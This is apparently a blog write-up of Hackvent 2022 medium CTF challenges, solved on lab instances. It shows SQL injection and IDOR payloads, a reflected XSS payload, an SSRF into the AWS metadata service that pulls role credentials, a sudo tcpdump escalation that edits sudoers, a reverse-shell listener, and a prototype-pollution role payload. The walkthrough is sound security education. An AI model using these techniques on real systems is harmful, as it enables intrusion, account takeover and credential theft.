The medium 2022 Hackvent challenges covered days eight through fourteen, and included one more hidden challenge. They get a bit more into exploitation, with SQL injection, AWS / cloud, prototype pollution, some OSINT, and a really interesting reflective XSS attack.
HV22.08
Challenge
HV22.08 Santa's Virus
Categories:
OPEN_SOURCE_INTELLIGENCE
Level:
medium
Author:
yuva
A user by the name of HACKventSanta may be spreading viruses. But Santa would never do that! The elves want you to find more information about this filthy impersonator.
The GitHub page is linked in the profile there as well.
GitHub
That GitHub profile has only one Repo:
It shows only a Zip archive, a README, and a single release:
The Zip contains an HTML file:
<!--Simple Html with saying nothing here--><!DOCTYPE html><html><head><title>Nothing here</title></head><body><h1>No viruses alive here 🤔 cant say anything about tags</h1></body></html>
I spent a few minutes trying some Google dorks to look for pages with that title, or perhaps that comment, but didn’t find anything useful.
But the page does mention “tags”, which is what the latest release is called:
There’s a file named Undetected.
ELF
Undetected is a Linux ELF executable:
$ file Undetected
Undetected: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ed87578ddf875b9911abf41472ed1b68ccc21cf4, for GNU/Linux 3.2.0, not stripped
Opening it in Ghidra, main just prints some messages:
undefined8main(void){puts("I am innocent! ");puts("I am not a hacker ");puts("This is not a virus ");puts("I can only give you key which you might need: ");puts(" ThisIsTheKeyToReceiveTheGiftFromSanta ");puts("But Go ahead and check my md5, I swear I am undetected! ");return0;}
VirusTotal
When the above mentions “checking a hash”, and “I’m undetected”, the first thing I think of is VirusTotal.
There are three posts, all QRCodes. The most recent leads to a RickRoll on YouTube. The second leads to evilsanta.mp3 hosted here. I could download it and look for clues, but the third is a Google Drive link that asks for a password:
The binary mentioned a key, “ThisIsTheKeyToReceiveTheGiftFromSanta”, which I’ll enter, and it opens, showing SANTAAAAAAAA.pdf:
The base64-encoded string at the top decodes to a flag:
Santa recently created some Text with a 🐚, which is said to be vulnerable code. Santa has put this Text in his library, putting the library in danger. He doesn’t know yet that this could pose a risk to his server. Can you backdoor the server and find all of Santa’s secrets?
Important notice: The challenge runs at port 443, the site that appears when you click the link in the Resources. All other ports already opened are out of the challenge scope, do not attack them.
Remember, if you want to use a Reverse Shell, you need to connect to the Hacking-Lab VPN
Start the website in the Resources panel.
There’s an docker I can spin up that presents a webpage:
Solution
ROT13
Entering text into the “Search gift” field returns a new page with that text displayed back after a ROT13 translation. If I enter “0xdf was here”, it shows:
I’ll note the URL for this new page is /santa/attack?search=0xdf+was+here
Failures
This felts for sure like it was going to be a server-side template injection (SSTI) bug, but nothing I tried worked, including a lot of test payloads, and those same payloads ROT13ed.
My next thought was a command injection. There’s talk of using shell for text in the prompt, so perhaps the site is calling on the system to do something like echo "$userinput" | tr 'A-Za-z' 'N-ZA-Mn-za-m'. To test this, I’ll try closing quotes, adding ;, and adding subshells (like $(id) and with backticks). None of these worked.
There is also a HTML injection / cross site scripting (XSS) bug in this page. If I take <script>alert(1)</script>, ROT13 to <fpevcg>nyreg(1)</fpevcg>, and send that, it pops an alert:
Still, to exploit this, there would have to be some way to get this in front of another user. Because the form sends a GET request, I could use a link for phishing, but even then, which user, and what is worth trying to steal. The site lacks any kind of login or cookies or admin panel that I can find.
Text4Shell
Text4Shell (CVE-2022-4289) is very similar to a SSTI bug, in that user submitted text is being processed as code rather than text. Patlo Alto has a nice post describing it in detail. There’s also a POC available on this page:
Both in that form and after a ROT13, the ROT13 text just comes back on the page. It doesn’t seem like it’s executing. But it could be executing blind, and not showing the results.
I’ll connect to the HackLab VPN, and try another payload:
On ROT13-encoding this and submitting, the text is the same:
But there’s ICMP at my tcpdump:
oxdf@hacky$sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
02:10:59.225938 IP 152.96.7.3 > 10.13.0.22: ICMP echo request, id 29441, seq 0, length 64
02:10:59.225983 IP 10.13.0.22 > 152.96.7.3: ICMP echo reply, id 29441, seq 0, length 64
That’s code execution.
Shell
Getting a reverse shell was a bit trickier than expected. These kind of vulnerabilities are always finicky with pipes and redirects, so I’m not surprised that a standard Bash reverse shell didn’t work.
My preferred way to get a shell is to write a quick Bash script that returns a shell, shell.sh:
On submitting the second, there’s a connect at my listening nc:
$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 152.96.7.3 34758
bash: cannot set terminal process group (283): Not a tty
bash: no job control in this shell
bash-5.1#
Santa brings you another free gift! We are happy to announce a free note taking webapp for everybody. No account name restriction, no filtering, no restrictions and the most important thing: no bugs! Because it cannot be hacked, Santa decided to name it Notme = Not me you can hack!
Or can you?
There’s a docker that returns the following page:
Solution
Enumeration
I can register for the site and log in, which leads to /notes, and an empty page, but with button at the top right for “My Notes”, “New”, and “Profile”.
“New” offers a form to make a note:
They show up on /notes:
Clicking on one offers a chance to update it:
/profile offers a chance to change my password or log out:
Via SQL Injection
There’s an SQL injection in the /api/note/update endpoint that is contacted via AJAX when I update a note. A benign request to this looks like:
POST/api/note/updateHTTP/2Host:497cc3d7-1f89-416a-9a5b-8e799e92a3fe.idocker.vuln.landCookie:connect.sid=s%3ADxPx5X4v-01AjW33bF_5TTGLk347Xmk1.xe9sRyzmBLaRXQmGxaI22eozyvmc6f8ZBWdekDz%2F9acUser-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0Accept:application/jsonAccept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:https://497cc3d7-1f89-416a-9a5b-8e799e92a3fe.idocker.vuln.land/note/1Content-Type:application/jsonContent-Length:153Origin:https://497cc3d7-1f89-416a-9a5b-8e799e92a3fe.idocker.vuln.landSec-Fetch-Dest:emptySec-Fetch-Mode:corsSec-Fetch-Site:same-originTe:trailers{"id":1,"note":"new data","userId":1,"createdAt":"2022-12-10T19:17:56.740Z","updatedAt":"2022-12-10T19:17:56.740Z"}
The response looks like:
HTTP/2200OKContent-Type:application/json; charset=utf-8Date:Sat, 10 Dec 2022 19:18:42 GMTEtag:W/"11-T5hvIIrIKzCvu6IzKKOWkDyp8vY"X-Powered-By:ExpressContent-Length:17{"msg":"Updated"}
Sending this request over to Burp Repeater, I’ll notice that if I set the note field to ', it crashes:
I can guess that the backend is doing something like:
I’ll create two notes and note their ids (from the URL for viewing them, which is /note/{id}):
I’ll send this request:
{"id":3,"note":"injected!' where id=2;-- -","userId":2,"createdAt":"2022-12-10T19:48:15.918Z","updatedAt":"2022-12-10T19:48:15.918Z"}
It reports success. If this were not injectable, it would show the new note all the way to the semi-colon and the dashes in note 3 (replacing “second note”). But it shows just “injected!”:
This database also allows for stacked queries. I can test that with this:
{"id":3,"note":"note id3' where id=3; update notes set note='stacked' where id=2;-- -","userId":2,"createdAt":"2022-12-10T19:48:15.918Z","updatedAt":"2022-12-10T19:48:15.918Z"}
After submitting this, both notes are updated:
Now I have a way to get arbitrary data into one of my notes. For example, to get the DB version, I’ll try running version():
{"id":3,"note":"note id3' where id=3; update notes set note=version() where id=2;-- -","userId":2,"createdAt":"2022-12-10T19:48:15.918Z","updatedAt":"2022-12-10T19:48:15.918Z"}
Postgres allows for string concatenation using the || operator. That means I can make a much more simple query without stacking:
I can use this to read other notes. If I try to read all at once, it crashes:
But, if I filter, I can read one. For example, note with id 2 say as much:
I’ll update 3 to contain the note from 2:
{"id":3,"note":"note: ' || (SELECT note from notes where id = 2) || '","userId":1,"createdAt":"2022-12-10T20:19:12.116Z","updatedAt":"2022-12-10T20:19:12.116Z"}
Now it matches:
If I don’t know the ID of the note I want to read, I can just use LIMIT 1 OFFSET X to read different notes. For example:
Sets my note 3 to the note of another user I shouldn’t be able to read:
In fact, the note at OFFSET 0 is the flag:
Via SQLI and Fuzzing
My original solve, instead of doing LIMIT 1 OFFSET X, I went looking for note ids that I couldn’t read. I notice that there’s a different response code for tickets that don’t exist and tickets that do but are owned by a different user.
For demonstration, I’ll create two accounts. The one for the current cookie has notes 1,2,3, and the other has note 4. I’ll fuzz:
oxdf@hacky$wfuzz -z range,1-10 -b'connect.sid=s%3AiVsqEb-hz0ogRIwVZKrKl_OHOt66FcUt.eOYG07CqH1vh6P8SA8HC6Bze9k6ca%2FdoPMSYKkW2rR4''https://d5a6bcfe-fa65-44be-90cf-6e33d5a805de.idocker.vuln.land/api/note/FUZZ'********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://d5a6bcfe-fa65-44be-90cf-6e33d5a805de.idocker.vuln.land/api/note/FUZZ
Total requests: 10
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000007: 404 0 L 3 W 24 Ch "7"
000000008: 404 0 L 3 W 24 Ch "8"
000000009: 404 0 L 3 W 24 Ch "9"
000000010: 404 0 L 3 W 24 Ch "10"
000000001: 200 0 L 1 W 107 Ch "1"
000000002: 200 0 L 2 W 113 Ch "2"
000000003: 200 0 L 2 W 113 Ch "3"
000000004: 403 0 L 3 W 23 Ch "4"
000000005: 404 0 L 3 W 24 Ch "5"
000000006: 404 0 L 3 W 24 Ch "6"
Total time: 0.573179
Processed Requests: 10
Filtered Requests: 0
Requests/sec.: 17.44655
1-3 return 200. 4 returns 403 Forbidden, and the rest return 404. So I’ll fuzz a much bigger range, filtering 200 and 404:
oxdf@hacky$wfuzz -z range,1-10000 --hc 404,200 -b'connect.sid=s%3AiVsqEb-hz0ogRIwVZKrKl_OHOt66FcUt.eOYG07CqH1vh6P8SA8HC6Bze9k6ca%2FdoPMSYKkW2rR4''https://d5a6bcfe-fa65-44be-90cf-6e33d5a805de.idocker.vuln.land/api/note/FUZZ'********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://d5a6bcfe-fa65-44be-90cf-6e33d5a805de.idocker.vuln.land/api/note/FUZZ
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000004: 403 0 L 3 W 23 Ch "4"
000001337: 403 0 L 3 W 23 Ch "1337"
Total time: 111.5189
Processed Requests: 10000
Filtered Requests: 9998
Requests/sec.: 89.67086
It finds the note at id 1337. I can read that the same way as above:
{"id":3,"note":"flag: ' || (SELECT note from notes where id = 1337) || '","userId":1,"createdAt":"2022-12-10T20:19:12.116Z","updatedAt":"2022-12-10T20:19:12.116Z"}
Giving:
Via IDOR in Password Reset
I’ll note that when I update my password, it sends a POST request:
POST/api/user/1HTTP/2Host:eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.landCookie:connect.sid=s%3AdLGvo1OZyvTe3IryEFvAgobTB8YBp-vN.QRR8ZbgMppUeKXSKgQhFkKu4rT2syEnHrUCGBWawqawUser-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0Accept:application/jsonAccept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.land/profileContent-Type:application/jsonContent-Length:19Origin:https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.landSec-Fetch-Dest:emptySec-Fetch-Mode:corsSec-Fetch-Site:same-originTe:trailers{"password":"0xdf"}
The response contains what looks like the entire user object:
HTTP/2200OKContent-Type:application/json; charset=utf-8Date:Sat, 10 Dec 2022 20:39:35 GMTEtag:W/"c4-EvNYEXZvi32QMJ22bDeU88qJJnc"X-Powered-By:ExpressContent-Length:196{"id":1,"role":"user","username":"0xdf","password":"f3b9f58518f2b212467a8ab5174f1324d8cbdfcbb9028b163605105f85979146","createdAt":"2022-12-10T20:18:44.281Z","updatedAt":"2022-12-10T20:18:44.281Z"}
I can do a similar fuzz, and note that users that exist return 200, and others return 404:
$ wfuzz -z range,1-5 -H'Content-Type: application/json'-b'connect.sid=s%3AdLGvo1OZyvTe3IryEFvAgobTB8YBp-vN.QRR8ZbgMppUeKXSKgQhFkKu4rT2syEnHrUCGBWawqaw'-d'{"password":"0xdf"}''https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.land/api/user/FUZZ'********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.land/api/user/FUZZ
Total requests: 5
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000004: 404 0 L 6 W 35 Ch "4"
000000005: 404 0 L 6 W 35 Ch "5"
000000001: 200 0 L 1 W 196 Ch "1"
000000002: 200 0 L 1 W 193 Ch "2"
000000003: 404 0 L 6 W 35 Ch "3"
Total time: 0.529379
Processed Requests: 5
Filtered Requests: 0
Requests/sec.: 9.445013
So I can fuzz all users, and user id 1337 is real as well:
$ wfuzz -z range,1-10000 --hc 404 -H'Content-Type: application/json'-b'connect.sid=s%3AdLGvo1OZyvTe3IryEFvAgobTB8YBp-vN.QRR8ZbgMppUeKXSKgQhFkKu4rT2syEnHrUCGBWawqaw'-d'{"password":"0xdf"}''https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.land/api/user/FUZZ'********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://eeb549eb-1f70-4bff-b850-672676adf861.idocker.vuln.land/api/user/FUZZ
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000001: 200 0 L 1 W 196 Ch "1"
000000002: 200 0 L 1 W 193 Ch "2"
000001337: 200 0 L 1 W 200 Ch "1337"
Total time: 112.5195
Processed Requests: 10000
Filtered Requests: 9997
Requests/sec.: 88.87344
Not only did that find the user, it also set their password to 0xdf. But I still don’t know the password. I’ll reset that user’s password again in Burp Repeater and note the response:
Now I can log in as Santa and get the flag:
Flag: HV22{Sql1_is_An_0Ld_Cr4Ft}
HV22.11
Challenge
HV22.11 Santa's Screenshot Render Function
Categories:
WEB_SECURITY
Level:
medium
Author:
DeathsPirate
Santa has been screenshotting NFTs all year. Now that the price has dropped, he has resorted to screenshotting websites. It’s impossible that this may pose a security risk, is it?
If I give it my blog, it gets the top of the page:
Solution
Page Analysis
The page itself has some hints on it. There’s a Powered by AWS statement / logo at the bottom of the page. And, typically when Hackvent wants me to hack a site, I get my own instance, not just some instance on the internet. There must be a reason it’s in AWS.
Beyond that, it says “So Meta :D”. That’s a reference to the AWS Instance Metadata Service (IMDS), an API which is available in EC2 instances at the IP 169.254.169.254.
Looking at the page source, the images are loaded from https://hackvent2022.s3.eu-west-2.amazonaws.com/:
S3 Analysis
Looking at that S3 bucket, it has three files in it:
flag1.txt is obviously interesting. And I can access it:
Congratulations! You've found .... oh no wait
Santa told us that sometimes S3 buckets aren't so secure :/
We've added an extra step to make sure the flag doesn't get breached, we split it in two and put the other half somewhere .... Secret ;)
Here's the first half anyway:
HV22{H0_h0_h0_H4v3_&_
Security-Credentials
I’ll use the website load (basically an SSRF) to read from the IMDS. For example, at http://169.254.169.254/latest/:
At http://169.254.169.254/latest/meta-data/iam/security-credentials/, I’ll find any credentials I can use to interact with the AWS service. There’s one:
At http://169.254.169.254/latest/meta-data/iam/security-credentials/Hackvent-SecretReader-EC2-Role, there’s a blob with the data for the credentials:
Getting these out is a huge pain, and less than a day into the challenge they added it so that on this URL, the result is included in the page source:
Interacting with Secrets Manager
This document from AWS shows how to use the temporary credentials from IMDS. Without doing anything, I can try to read information about the S3 bucket:
oxdf@hacky$ aws s3 ls hackvent2022
Unable to locate credentials. You can configure credentials by running "aws configure".
I’ll run aws configure, and add in a regoin:
oxdf@hacky$ aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]: eu-west-2
Default output format [None]:
Now I’ll export the temp credentials as environment variables:
There are a ton of services that I could try to interact with them, but most return that they are not vlaid with these creds. There’s two hints as to where to look. First, the text from the first half of the flag says “put the other half somewhere …. Secret ;)”. Also, the credential name is “Hackvent-SecretReader-EC2-Role”. Both of these have to do with secrets.
Running aws help will show all the various services that it can interact with. Searching in that page for secret shows an interesting one:
aws secretsmanager help shows there’s a list-secrets sub-command, and it returns one secret:
The get-secret-value sub-command requires --secret-id. I’ll give it the name and it works:
oxdf@hacky$ aws secretsmanager get-secret-value
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: --secret-id
oxdf@hacky$ aws secretsmanager get-secret-value --secret-id flag2
{
"ARN": "arn:aws:secretsmanager:eu-west-2:839663496474:secret:flag2-UjomOM",
"Name": "flag2",
"VersionId": "8a498b78-e73f-4a97-a0c3-74f365d3aa0d",
"SecretString": "{\"flag2description\":\"Oh Hai! Santa made us split the flag up, he gave this part to me and told me to put it somewhere safe, I figured this was the best place. The other half he gave to another Elf and told him the same thing, but that Elf told me he just threw it into a bucket! That doesn't sound safe at all!\",\"flag2\":\"M3r2y-Xm45_Yarr222_<3_Pirate}\",\"what_is_this\":\"Oh I forgot to mention I overheard some of the elves talking about making tags available ... maybe they mean gift tags?! Who knows ... maybe you can make something out of that ... or not :D \"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1670706291.128
}
Uhm…hello? What are you doing here? I thought you were tasked with finding a hidden flag in one of the medium challenges??
The second hidden flag shows up in day 11.
Solution
Looking at the text around the second half of the day 11 flag, it ends with:
Oh I forgot to mention I overheard some of the elves talking about making tags available … maybe they mean gift tags?! Who knows … maybe you can make something out of that … or not :D
“tags” is part of the IMDS, though it’s also cut-off by the height limit of the image. But putting in http://169.254.169.254/latest/meta-data/tags returns:
And http://169.254.169.254/latest/meta-data/tags/instance/hidden_flag gives the flag:
Flag: HV22{5G0ldRing5QuickGetThem2MtDoom}
HV22.12
Challenge
HV22.12 Funny SysAdmin
Categories:
LINUX
Level:
medium
Author:
wangibangi
Santa wrote his first small script, to track the open gifts on the wishlist. However the script stopped working a couple of days ago and Santa has been stuck debugging the script. His sysadmin seems to be a bit funny ;)
Starting an instance and loading the page in a browser presents an in browser terminal:
Solution
Enumeration
In santa’s home directory is the script references in the description:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>ls-latotal 8
drwxr-sr-x 1 santa santa 6 Dec 12 18:06 .
drwxr-xr-x 1 root root 19 Nov 20 18:42 ..
-rw-r--r-- 1 santa santa 211 Nov 20 18:49 .ash_history
-rwxr-xr-x 1 santa santa 196 Nov 20 18:49 santa-script.sh
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>ls-l /var/log/
total 4
drwxr-xr-x 1 root root 28 Nov 20 18:42 go-dnsmasq
-rwx-w--w- 1 root root 420 Nov 20 18:51 wishlist.log
But, santa can with sudo:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>ls-l /var/log/
total 4
drwxr-xr-x 1 root root 28 Nov 20 18:42 go-dnsmasq
-rwx-w--w- 1 root root 420 Nov 20 18:51 wishlist.log
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>sudo-lMatching Defaults entries for santa on d41998fe-ebd1-4f6c-ba21-7a56e42134c7:
secure_path=/usr/foobar\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User santa may run the following commands on d41998fe-ebd1-4f6c-ba21-7a56e42134c7:
(root) NOPASSWD: /usr/bin/less /var/log/*
(root) NOPASSWD: !/usr/bin/less /var/log/*..*
(root) NOPASSWD: !/usr/bin/less /var/log/* *
(root) NOPASSWD: /usr/bin/tcpdump
It seems the admin has set santa up to read the log and also run tcpdump. The middle two lines are preventing santa from reading files outside of /var/log.
It’s also worth noting that sudo is setting the PATH to start with /usr/foobar. This path has a handful of common binaries, but each with screwy results:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/usr/foobar>lsawk cat diff find gnugrep grep head ls more nl sed strings tac tail
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/usr/foobar>./awk
https://www.youtube.com/watch?v=dQw4w9WgXcQ
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/usr/foobar>./cat
Meow - I like cats
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/usr/foobar>./more
Hit the road Jack and dont you come back no more, no more, no more, no more
So I’ll probably want to avoid using any of these (I actually didn’t run into these until after solving, but it seems they did cause others issues).
It is putting a command into a temp file, making it executable, and then calling tcpdump with the following arguments:
-l - Make stdout line buffered (not actually necessary).
-n - Don’t convert addresses to names (not actually necessary).
-i lo - Listen on loopback. I’ll change this to something that will get traffic on this challenge.
-w /dev/null - Write the results to /dev/null. Since I don’t actually care about the results, just throw them away. Still, it is important for tcpdump to be writing to a file.
-G 1 - Will rotate the output file every 1 second.
-W 1 - Will limit the number of rotated files to 1.
-z $TF - Sets $TF as the “post rotate command”. This is tyically used to apply compression or some processing to saved files, but here it’s being abused to run my script.
-Z root - This sets the user that tcpdump tries to drop to after opening the capture device but before saving any data to root, effectively preventing that drop.
This will capture until it gets a hit and then one second later rotate, apply the script to the file, and then exit for hitting the max number of files.
tcpdump GTFObin POC
I’ll write a script that just touches a file in /tmp:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>sudo tcpdump -ln-i any -w /dev/null -W 1 -G 1 -z /tmp/0xdf.sh
tcpdump: data link type LINUX_SLL2
tcpdump: listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
I do have to change the interface it’s listening on, as the example only listens on loopback, and won’t get any traffic to trigger the run.
It exits, and the file is there:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>ls-l /tmp/
total 4
-rwxr-xr-x 1 santa santa 30 Dec 12 13:25 0xdf.sh
-rw-r--r-- 1 root root 0 Dec 12 13:26 pwned
Shell as root
Getting this execution as root to actually do something that returns a root shell was a bit tricky, but eventually I’ll get it by writing to the sudoers file. I’ll update my script:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>sudo tcpdump -ln-i any -w /dev/null -W 1 -G 1 -z /tmp/0xdf.sh
tcpdump: data link type LINUX_SLL2
tcpdump: listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
Santa can now run all commands as root without a password:
santa@d41998fe-ebd1-4f6c-ba21-7a56e42134c7:/home/santa>sudo-lMatching Defaults entries for santa on d41998fe-ebd1-4f6c-ba21-7a56e42134c7:
secure_path=/usr/foobar\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User santa may run the following commands on d41998fe-ebd1-4f6c-ba21-7a56e42134c7:
(root) NOPASSWD: /usr/bin/less /var/log/*
(root) NOPASSWD: !/usr/bin/less /var/log/*..*
(root) NOPASSWD: !/usr/bin/less /var/log/* *
(root) NOPASSWD: /usr/bin/tcpdump
(ALL) NOPASSWD: ALL
Initially I went with less as it’s easier to exploit. Typically it’s easier to exploit. However, when I hit !, nothing happened. At first it looks like that’s because root is running with the environment variable LESSSECURE set to 1:
d41998fe-ebd1-4f6c-ba21-7a56e42134c7:~/secret#env | grep LES
LESSSECURE=1
SECURITY
When the environment variable LESSSECURE is set to 1, less runs in a “secure” mode. This means these features
are disabled:
! the shell command
| the pipe command
:e the examine command.
v the editing command
s -o log files
-k use of lesskey files
-t use of tags files
metacharacters in filenames, such as *
filename completion (TAB, ^L)
Less can also be compiled to be permanently in "secure" mode.
Interestingly, while the author tried to use LESSSECURE, it doesn’t work on the Busybox version of less on an Apline container. I think that’s also why ! doesn’t work. But :e to examine a new file does work, as I’m able to read other files with it. For example, I can read root’s .ash_history:
Which opens:
Then I can read flag.txt the same way:
HV22.13
Challenge
HV22.13 Noty
Categories:
WEB_SECURITY
Level:
medium
Author:
HaCk0
After the previous fiasco with multiple bugs in Notme (some intended and some not), Santa released a now truly secure note taking app for you. Introducing: Noty, a fixed version of Notme.
Also Santa makes sure that this service runs on green energy. No pollution from this app ;)
Starting an instance and loading the page in a browser presents an in browser terminal:
Solution
Enumeration
The site is very similar to the “Notme” site from day 10. I can register and get access to the same menu as before:
After creating a note, it shows up on /notes:
There’s no option to edit notes this time. Clicking on a note does nothing.
Requests
Looking at the various requests, creating a note sends a POST with body {"note":"Note 1"} to /api/note/new. The response looks like the full note object:
HTTP/2200OKContent-Type:application/json; charset=utf-8Date:Tue, 13 Dec 2022 12:52:12 GMTEtag:W/"71-XuuFUOZqoKqUxJQ8CINFAP5V4X8"X-Powered-By:ExpressContent-Length:113{"id":1,"note":"Note 1","userId":1,"updatedAt":"2022-12-13T12:52:12.941Z","createdAt":"2022-12-13T12:52:12.941Z"}
Loading the main page sends a GET to /api/note/all, and gets back a list of these same note objects.
Updating my password from the “Profile” page sends a POST to /api/user/1 (my userid is 1) with the body of {"password":"new_pass"} and the response contains my full user object:
HTTP/2200OKContent-Type:application/json; charset=utf-8Date:Tue, 13 Dec 2022 12:53:15 GMTEtag:W/"c4-GX4DUFOYYoUAZBOvx8VF6ijLSyg"X-Powered-By:ExpressContent-Length:196{"id":1,"role":"user","username":"0xdf","password":"f3b9f58518f2b212467a8ab5174f1324d8cbdfcbb9028b163605105f85979146","createdAt":"2022-12-13T12:51:20.974Z","updatedAt":"2022-12-13T12:53:15.860Z"}
The “role” attribute is interesting. I can try setting that with a payload to /api/register like:
But it doesn’t work. I can also try on /api/user/1 adding a role, but again, no change in the result.
Prototype Pollution
The last line of the challenge prompt is a good hint to look at prototype pollution, a common attack against Node applications: “No pollution from this app ;)”.
This post from Snyk does a pretty good job describing prototype pollution. The issue comes up when objects are JavaScript are merged unsafely.
Each object in JavaScript has a __proto__ attribute that holds things that are like defaults for the object. For example, an object has __proto__: {"toString": <function>}. This is what allows objects to call .toString() and get a result.
If I can set the __proto__ for the user object to have {"role":"admin"}, then all users will get admin by default.
Fails with Password Change
My first attempts are on /api/user/[id]. I’ll send a body with the __proto__:
{"password":"0xdf","__proto__":{"role":"admin"}}
This crashes the server:
HTTP/2500Internal Server ErrorContent-Type:application/json; charset=utf-8Date:Tue, 13 Dec 2022 13:20:31 GMTEtag:W/"3b-ypol7bSme21vOTNW75iv/m4eapI"X-Powered-By:ExpressContent-Length:59{"error":"this._customSetters[key].call is not a function"}
Still, this is a good sign. It seems that I’ve messed up something in the user object.
Success with Registration
After many fails in the password change API, I’ll turn to the registration API. I’ll add __proto__ to the request for a new user, and it comes back as admin:
In fact, now if I register another user without the pollution, that user still comes back as admin:
On the “My Notes” page, there’s now a note with the flag:
Flag: HV22{P0luT1on_1S_B4d_3vERyWhere}
HV22.14
Challenge
HV22.14 Santa's Bank
Categories:
WEB_SECURITY
Level:
medium
Author:
nichtseb
Santa has lost faith and trust in humanity and decided to take matters in his own hands: He opens a new bank.
He announced the release with the following message:
For Christmas, our bank has a generous offer: save 100 € in your savings account and get a promo code!
Due to mistrust, he didn’t connect his bank and its employees to the internet.
Can you hack bank?
Starting an instance and loading the page in a browser redirects to /auth/login:
Solution
Site
I’ll register and login, and page has more options in the menu, and shows my account:
There’s a /transfer page that takes a from, to, and amount:
/promotion just says come back when I have 100€:
/support takes a URL and send it to the staff:
This is a good hint that I can get them to click on a link. There’s also a logout link.
Link Click Test
First I need to know if I can get someone on the site (presumably with 100€ or more) to click on a link. I’ll connect to the Hacking Lab VPN and send a link to my VM, http://10.13.0.22/test. On submitting, it says:
Less than a minute later, there’s a hit on my Python webserver:
Trying to get the transfer to work is a bit tricky.
If I try to transfer from 0xdf to 0xdf, it redirects to the accounts page, and says that’s not a valid account:
If I try my account number for both, the error message changes:
So it seems I need to know the account number of both the sender and receiver. It also displays back the input username in that first message. I can check it for reflected XSS by submitting <script>alert(1)</script> as one of the users:
It works:
On clicking ok:
And in the source:
Exploit
I’ll combine these two attacks into a payload that I can host and submit as a link to the support staff. I’ll show that process in this video: